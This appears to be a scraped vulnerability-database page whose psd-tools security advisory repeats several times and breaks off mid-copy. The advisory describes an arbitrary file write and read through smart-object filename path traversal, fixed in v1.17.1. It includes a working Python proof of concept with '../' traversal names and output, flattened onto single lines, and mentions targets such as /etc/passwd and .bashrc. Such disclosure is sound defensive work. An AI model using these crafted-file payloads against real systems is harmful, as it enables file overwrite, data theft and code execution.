# psd-tools: arbitrary file write/read via smart-object path traversal ## Summary In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**. ## Details ### Write path — `SmartObject.save()` (primary) `src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`): ```python def save(self, filename: str | None = None) -> None: if filename is None: filename = self.filename # untrusted, straight from the file with open(filename, "wb") as f: f.write(self.data) # attacker-controlled bytes ``` `self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content. ### Read path — `SmartObject.open()` / `.data` for external kind (secondary) For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory. ## Proof of concept Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request. ```bash pip install psd-tools==1.17.0 python poc.py ``` `poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would: ```python import os, shutil, tempfile from psd_tools import PSDImage from psd_tools.constants import Tag MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n" NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"} def craft(name, out): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id for l in psd.descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL): for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []: if item.uuid.strip("\x00") == uuid: item.filename, item.data = name, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} cwd = os.getcwd(); os.chdir(outdir) try: for l in psd.descendants(): if l.kind == "smartobject" and l.smart_object.kind == "data": l.smart_object.save() finally: os.chdir(cwd) after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} return sorted(after - before) def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: escaped = {} for tag, name in NAMES.items(): psd = os.path.join(tmp, tag + ".psd"); craft(name, psd) so = next(l.smart_object for l in PSDImage.open(psd).descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") print(f"[{tag}] parsed embedded name = {so.filename!r}") outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir) written = extract(psd, outdir, tmp); out = os.path.realpath(outdir) esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc for w in written: print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}") ok = (not escaped["control"] and escaped["exploit"] and all(open(w, "rb").read() == MARKER for w in escaped["exploit"])) print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced") return 0 if ok else 1 finally: shutil.rmtree(tmp, ignore_errors=True) raise SystemExit(main()) ``` Output (`psd-tools 1.17.0`): ``` [control] parsed embedded name = 'embedded-export.bin' [control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir [exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin' [exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir VERDICT: ARBITRARY FILE WRITE CONFIRMED ``` An absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way. ## Impact Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path. For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory. ## Severity **Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction. ## Patch Fixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`: - **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source. - **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`. ## Weaknesses CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path). ## Resources - Fix PR: https://github.com/psd-tools/psd-tools/pull/657 - Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1 - Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179` (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100` (source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The `save()` write logic is unchanged since the `SmartObject` API was introduced, so all releases exposing it are affected.
# psd-tools: arbitrary file write/read via smart-object path traversal ## Summary In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**. ## Details ### Write path — `SmartObject.save()` (primary) `src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`): ```python def save(self, filename: str | None = None) -> None: if filename is None: filename = self.filename # untrusted, straight from the file with open(filename, "wb") as f: f.write(self.data) # attacker-controlled bytes ``` `self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content. ### Read path — `SmartObject.open()` / `.data` for external kind (secondary) For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory. ## Proof of concept Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request. ```bash pip install psd-tools==1.17.0 python poc.py ``` `poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would: ```python import os, shutil, tempfile from psd_tools import PSDImage from psd_tools.constants import Tag MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n" NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"} def craft(name, out): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id for l in psd.descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL): for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []: if item.uuid.strip("\x00") == uuid: item.filename, item.data = name, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} cwd = os.getcwd(); os.chdir(outdir) try: for l in psd.descendants(): if l.kind == "smartobject" and l.smart_object.kind == "data": l.smart_object.save() finally: os.chdir(cwd) after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} return sorted(after - before) def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: escaped = {} for tag, name in NAMES.items(): psd = os.path.join(tmp, tag + ".psd"); craft(name, psd) so = next(l.smart_object for l in PSDImage.open(psd).descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") print(f"[{tag}] parsed embedded name = {so.filename!r}") outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir) written = extract(psd, outdir, tmp); out = os.path.realpath(outdir) esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc for w in written: print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}") ok = (not escaped["control"] and escaped["exploit"] and all(open(w, "rb").read() == MARKER for w in escaped["exploit"])) print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced") return 0 if ok else 1 finally: shutil.rmtree(tmp, ignore_errors=True) raise SystemExit(main()) ``` Output (`psd-tools 1.17.0`): ``` [control] parsed embedded name = 'embedded-export.bin' [control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir [exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin' [exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir VERDICT: ARBITRARY FILE WRITE CONFIRMED ``` An absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way. ## Impact Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path. For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory. ## Severity **Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction. ## Patch Fixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`: - **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source. - **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`. ## Weaknesses CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path). ## Resources - Fix PR: https://github.com/psd-tools/psd-tools/pull/657 - Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1 - Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179` (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100` (source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The `save()` write logic is unchanged since the `SmartObject` API was introduced, so all releases exposing it are affected.
# psd-tools: arbitrary file write/read via smart-object path traversal ## Summary In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**. ## Details ### Write path — `SmartObject.save()` (primary) `src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`): ```python def save(self, filename: str | None = None) -> None: if filename is None: filename = self.filename # untrusted, straight from the file with open(filename, "wb") as f: f.write(self.data) # attacker-controlled bytes ``` `self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content. ### Read path — `SmartObject.open()` / `.data` for external kind (secondary) For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory. ## Proof of concept Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request. ```bash pip install psd-tools==1.17.0 python poc.py ``` `poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would: ```python import os, shutil, tempfile from psd_tools import PSDImage from psd_tools.constants import Tag MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n" NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"} def craft(name, out): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id for l in psd.descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL): for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []: if item.uuid.strip("\x00") == uuid: item.filename, item.data = name, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} cwd = os.getcwd(); os.chdir(outdir) try: for l in psd.descendants(): if l.kind == "smartobject" and l.smart_object.kind == "data": l.smart_object.save() finally: os.chdir(cwd) after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} return sorted(after - before) def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: escaped = {} for tag, name in NAMES.items(): psd = os.path.join(tmp, tag + ".psd"); craft(name, psd) so = next(l.smart_object for l in PSDImage.open(psd).descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") print(f"[{tag}] parsed embedded name = {so.filename!r}") outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir) written = extract(psd, outdir, tmp); out = os.path.realpath(outdir) esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc for w in written: print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}") ok = (not escaped["control"] and escaped["exploit"] and all(open(w, "rb").read() == MARKER for w in escaped["exploit"])) print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced") return 0 if ok else 1 finally: shutil.rmtree(tmp, ignore_errors=True) raise SystemExit(main()) ``` Output (`psd-tools 1.17.0`): ``` [control] parsed embedded name = 'embedded-export.bin' [control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir [exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin' [exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir VERDICT: ARBITRARY FILE WRITE CONFIRMED ``` An absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way. ## Impact Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path. For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory. ## Severity **Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction. ## Patch Fixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`: - **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source. - **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`. ## Weaknesses CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path). ## Resources - Fix PR: https://github.com/psd-tools/psd-tools/pull/657 - Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1 - Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179` (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100` (source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The `save()` write logic is unchanged since the `SmartObject` API was introduced, so all releases exposing it are affected.
# psd-tools: arbitrary file write/read via smart-object path traversal ## Summary In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**. ## Details ### Write path — `SmartObject.save()` (primary) `src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`): ```python def save(self, filename: str | None = None) -> None: if filename is None: filename = self.filename # untrusted, straight from the file with open(filename, "wb") as f: f.write(self.data) # attacker-controlled bytes ``` `self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content. ### Read path — `SmartObject.open()` / `.data` for external kind (secondary) For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory. ## Proof of concept Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request. ```bash pip install psd-tools==1.17.0 python poc.py ``` `poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would: ```python import os, shutil, tempfile from psd_tools import PSDImage from psd_tools.constants import Tag MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n" NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"} def craft(name, out): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id for l in psd.descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL): for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []: if item.uuid.strip("\x00") == uuid: item.filename, item.data = name, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} cwd = os.getcwd(); os.chdir(outdir) try: for l in psd.descendants(): if l.kind == "smartobject" and l.smart_object.kind == "data": l.smart_object.save() finally: os.chdir(cwd) after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} return sorted(after - before) def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: escaped = {} for tag, name in NAMES.items(): psd = os.path.join(tmp, tag + ".psd"); craft(name, psd) so = next(l.smart_object for l in PSDImage.open(psd).descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") print(f"[{tag}] parsed embedded name = {so.filename!r}") outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir) written = extract(psd, outdir, tmp); out = os.path.realpath(outdir) esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc for w in written: print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}") ok = (not escaped["control"] and escaped["exploit"] and all(open(w, "rb").read() == MARKER for w in escaped["exploit"])) print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced") return 0 if ok else 1 finally: shutil.rmtree(tmp, ignore_errors=True) raise SystemExit(main()) ``` Output (`psd-tools 1.17.0`): ``` [control] parsed embedded name = 'embedded-export.bin' [control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir [exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin' [exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir VERDICT: ARBITRARY FILE WRITE CONFIRMED ``` An absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way. ## Impact Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path. For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory. ## Severity **Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction. ## Patch Fixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`: - **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source. - **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`. ## Weaknesses CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path). ## Resources - Fix PR: https://github.com/psd-tools/psd-tools/pull/657 - Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1 - Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179` (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100` (source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The `save()` write logic is unchanged since the `SmartObject` API was introduced, so all releases exposing it are affected.
Update psd-tools to 1.17.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanpsd-tools vulnerable to arbitrary file write via smart-object filename affects psd-tools (pip). Severity is medium. # psd-tools: arbitrary file write/read via smart-object path traversal ## Summary In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**. ## Details ### Write path — `SmartObject.save()` (primary) `src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`): ```python def save(self, filename: str | None = None) -> None: if filename is None: filename = self.filename # untrusted, straight from the file with open(filename, "wb") as f: f.write(self.data) # attacker-controlled bytes ``` `self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content. ### Read path — `SmartObject.open()` / `.data` for external kind (secondary) For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory. ## Proof of concept Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request. ```bash pip install psd-tools==1.17.0 python poc.py ``` `poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would: ```python import os, shutil, tempfile from psd_tools import PSDImage from psd_tools.constants import Tag MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n" NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"} def craft(name, out): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id for l in psd.descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL): for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []: if item.uuid.strip("\x00") == uuid: item.filename, item.data = name, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} cwd = os.getcwd(); os.chdir(outdir) try: for l in psd.descendants(): if l.kind == "smartobject" and l.smart_object.kind == "data": l.smart_object.save() finally: os.chdir(cwd) after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} return sorted(after - before) def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: escaped = {} for tag, name in NAMES.items(): psd = os.path.join(tmp, tag + ".psd"); craft(name, psd) so = next(l.smart_object for l in PSDImage.open(psd).descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") print(f"[{tag}] parsed embedded name = {so.filename!r}") outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir) written = extract(psd, outdir, tmp); out = os.path.realpath(outdir) esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc for w in written: print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}") ok = (not escaped["control"] and escaped["exploit"] and all(open(w, "rb").read() == MARKER for w in escaped["exploit"])) print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced") return 0 if ok else 1 finally: shutil.rmtree(tmp, ignore_errors=True) raise SystemExit(main()) ``` Output (`psd-tools 1.17.0`): ``` [control] parsed embedded name = 'embedded-export.bin' [control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir [exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin' [exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir VERDICT: ARBITRARY FILE WRITE CONFIRMED ``` An absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way. ## Impact Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path. For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory. ## Severity **Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction. ## Patch Fixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`: - **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source. - **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`. ## Weaknesses CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path). ## Resources - Fix PR: https://github.com/psd-tools/psd-tools/pull/657 - Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1 - Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179` (sink), `:62-67` (untrusted `filename`); 